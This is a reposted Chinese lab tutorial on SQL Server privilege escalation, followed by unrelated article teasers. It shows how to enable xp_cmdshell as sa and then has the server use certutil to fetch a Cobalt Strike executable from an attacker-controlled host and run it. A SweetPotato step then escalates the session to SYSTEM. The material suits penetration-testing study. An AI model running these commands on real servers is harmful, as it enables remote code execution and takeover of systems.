SQL Server数据库xp_cmdshell提权笔记

文章目录

      • 一、简介
      • 二、搭建环境
      • 三、利用条件
        • 1、查询 xp_cmdshell 是否开启,返回为1则证明存在
        • 2、判断权限是不是sa,回是1说明是sa
        • 3、开启xp_cmdshell
        • 4、关闭xp_cmdshell
      • 四、获取数据库权限
        • 1、成功获取sqlserver,进行登陆
        • 2、开启xp_cmdshell权限
        • 3、服务器端开启cobaltstrike,并且开启exe远程访问
        • 4、执行命令,进行上线
        • 5、成功获取数据库权限
      • 五、提升为管理员权限
        • 1、选取插件SweetPotato(MS16-075)
        • 2、选取刚才上线的sqlserver用户权限
        • 3、此时成功变成system权限
      • 免责声明

一、简介

Sql server也称Mssql Server,扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展“存贮过程”。那么“存储过程”,其实质就是一个“集合”,就是存储在Sql Server中预先定义好的“SQL语句集合”,说的更直白一些就是各种小脚本共同组成的集合体,我们称之为“存储过程”。

二、搭建环境

系统IP服务
windows server201210.10.10.40SQL serve数据库
kali-linux10.10.10.234攻击方-cobaltstrike

image.png

image.png

三、利用条件

任何版本的Sql Server都可以对xp_cmdshell 进行利用;
SQL Server数据库没有被降权;
sa用户或其他具有dba权限的账户。
1、查询 xp_cmdshell 是否开启,返回为1则证明存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell';

image.png

2、判断权限是不是sa,回是1说明是sa

image.png

3、开启xp_cmdshell
xp_cmdshell 开关。
【参数解析】
exec 显示或更改当前服务器的全局配置设置。
sp_configure 动态执行SQL语句的命令。

进行开启

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

image.png

4、关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

image.png

四、获取数据库权限

1、成功获取sqlserver,进行登陆
路径:~/Desktop/impack/impacket-master/examples
命令:python3  mssqlclient.py sa@10.10.10.40

image.png

2、开启xp_cmdshell权限
exec xp_cmdshell whami
exec xp_cmdshell ipconfig
enable_xp_cmdshell

image.png

image.png
image.png

3、服务器端开启cobaltstrike,并且开启exe远程访问
python3 -m http.server 9999

image.png

4、执行命令,进行上线
xp_cmdshell certutil -urlcache -split -f http://10.10.10.234:9999/123.exe c:/windows/temp/123.exe                                                                            
xp_cmdshell c:/windows/temp/123.exe

image.png

5、成功获取数据库权限

image.png

五、提升为管理员权限

1、选取插件SweetPotato(MS16-075)

image.png

2、选取刚才上线的sqlserver用户权限

image.png

3、此时成功变成system权限

image.png

image.png

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/24232.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法训练营第31天(py)| 贪心 | 455.分发饼干、376. 摆动序列、53. 最大子序和

455.分发饼干 力扣链接 假设你是一位很棒的家长,想要给你的孩子们一些小饼干。但是,每个孩子最多只能给一块饼干。 对每个孩子 i,都有一个胃口值 g[i],这是能让孩子们满足胃口的饼干的最小尺寸;并且每块饼干 j&#…

Docker|了解容器镜像层(1)

引言 容器非常神奇。它们允许简单的进程表现得像虚拟机。在这种优雅的底层是一组模式和实践,最终使一切运作起来。在设计的根本是层。层是存储和分发容器化文件系统内容的基本方式。这种设计既出人意料地简单,同时又非常强大。在今天的帖子[1]中&#xf…

29网课交单平台 epay.php SQL注入漏洞复现

0x01 产品简介 29网课交单平台是一个专注于在线教育和知识付费领域的交单平台。该平台基于PHP开发,通过全开源修复和优化,为用户提供了高效、稳定、安全的在线学习和交易环境。作为知识付费系统的重要组成部分,充分利用了互联网的优势,为用户提供了便捷的支付方式、高效的…

继承-进阶

父子类成员共享 普通成员对象/父子间不共享, 成员独立 函数成员共享(函数不存储在对象中) 子类由两部分构成:父类中继承的成员和子类中新定义成员 继承方式 子类中存在父类private成员但不可直接访问(及时在类中&am…

微信如何防止被对方拉黑删除?一招教你解决!文末附软件!

你一定不知道,微信可以防止被对方拉黑删除,秒变无敌。只需一招就能解决!赶快来学!文末有惊喜! 惹到某些重要人物(比如女朋友),被删除拉黑一条龙,那真的是太令人沮丧了&a…

加密经济浪潮:探索Web3对金融体系的颠覆

随着区块链技术的快速发展,加密经济正在成为全球金融领域的一股新的浪潮。而Web3作为下一代互联网的代表,以其去中心化、可编程的特性,正深刻影响着传统金融体系的格局和运作方式。本文将深入探讨加密经济对金融体系的颠覆,探索We…

机器学习实验----支持向量机(SVM)实现二分类

目录 一、介绍 (1)解释算法 (2)数据集解释 二、算法实现和代码介绍 1.超平面 2.分类判别模型 3.点到超平面的距离 4.margin 间隔 5.拉格朗日乘数法KKT不等式 (1)介绍 (2)对偶问题 (3)惩罚参数 (4)求解 6.核函数解决非线性问题 7.SMO (1)更新w (2)更新b 三、代…

此表单不安全,因此系统已关闭自动填充功能

问题截图: 截图就不放了,公司的系统不方便,就是form表单会有个提示“此表单不安全,因此系统已关闭自动填充功能” 解决思路: 1、问题原因 使用https访问,但表单提交地址是http的 2、查看表单配置 表单…

MSP430单片机控制流水灯,Proteus仿真

作品功能 本项目利用MSP430单片机控制一个简单的流水灯,通过按键切换流水灯的模式。用户可以通过按键控制LED灯的方向,从左向右或从右向左依次点亮。 作品的硬件材料 MSP430单片机 具体型号:MSP430G2553 LED灯 数量:8个类型&…

文本审核纠错

探索高效文本审查利器:Word Checker-CSDN博客 GitHub - shibing624/pycorrector: pycorrector is a toolkit for text error correction. 文本纠错,实现了Kenlm,T5,MacBERT,ChatGLM3,LLaMA等模型应用在纠错…

如何设置vue3项目中默认的背景为白色

方法1:通过CSS全局样式 在全局CSS文件中设置: 如果你的项目中有全局的CSS文件(如App.vue或专门的CSS文件),你可以直接设置body或html标签的背景颜色。 在src/assets文件夹中(或者任何你存放CSS文件的地方&a…

js解析成语法树以及还原

const {parse} require("babel/parser"); const traverse require("babel/traverse").default; const generator require("babel/generator").default;// 1.定义要处理的代码 const jscode function square(n) {return n * n; };// 2.使用ba…

【人工智能】流行且重要的智能算法整理

✍🏻记录学习过程中的输出,坚持每天学习一点点~ ❤️希望能给大家提供帮助~欢迎点赞👍🏻收藏⭐评论✍🏻指点🙏 小记: 今天在看之前写的文档时,发现有人工智能十大算法的内容&#xf…

国标GB/T 28181详解:国标GBT28181-2022的客户端主动发起历史视音频回放流程

目录 一、定义 二、作用 1、提供有效的数据回顾机制 2、增强监控系统的功能性 3、保障数据传输与存储的可靠性 4、实现精细化的操作与控制 5、促进监控系统的集成与发展 三、历史视音频回放的基本要求 四、命令流程 1、流程图 2、流程描述 五、协议接口 1、会话控…

【Stable Diffusion】(基础篇二)—— Stable Diffusion图形界面介绍和基本使用流程

本系列笔记主要参考B站nenly同学的视频教程,传送门:B站第一套系统的AI绘画课!零基础学会Stable Diffusion,这绝对是你看过的最容易上手的AI绘画教程 | SD WebUI 保姆级攻略_哔哩哔哩_bilibili 在上一篇博客中,我们成功…

【C++ | 拷贝构造函数】一文了解C++的 拷贝(复制)构造函数

😁博客主页😁:🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑:🍭嵌入式开发、Linux、C语言、C、数据结构、音视频🍭 ⏰发布时间⏰:2024-06-07 2…

Android无障碍服务

Hi I’m Shendi Android无障碍服务 最近想制作一个记录点击操作并重复播放的工具,用以解放双手,因现在的Android高版本基本上难以Root,所以选择了使用无障碍来实现,在这里记录下来。 Android无障碍 可参考文档:https:…

Solon2分布式事件总线的应用价值探讨

随着现代软件系统的复杂性日益增加,微服务架构逐渐成为开发大型应用的主流选择。在这种架构下,服务之间的通信和协同变得至关重要。Solon2作为一个高性能的Java微服务框架,其分布式事件总线(Distributed Event Bus)为微…

Mac OS 用户开启 8080 端口

开启端口 sudo vim /etc/pf.conf # 开放对应端口 pass out proto tcp from any to any port 8080 # 刷新配置文件 sudo pfctl -f /etc/pf.conf sudo pfctl -e获取本机ip地址 ifconfig en0 | grep inet | grep -v inet6 | awk {print $2}访问指定端口

C语言数据结构(排序算法总结)

目录 算法类型 算法比较 稳定性描述 插入排序 选择排序 冒泡排序 希尔排序 堆排序 快速排序 霍尔排序(递归) 挖坑法(递归) 双指针(递归) 快排(非递归) 归并排序 计数排序 总结(速…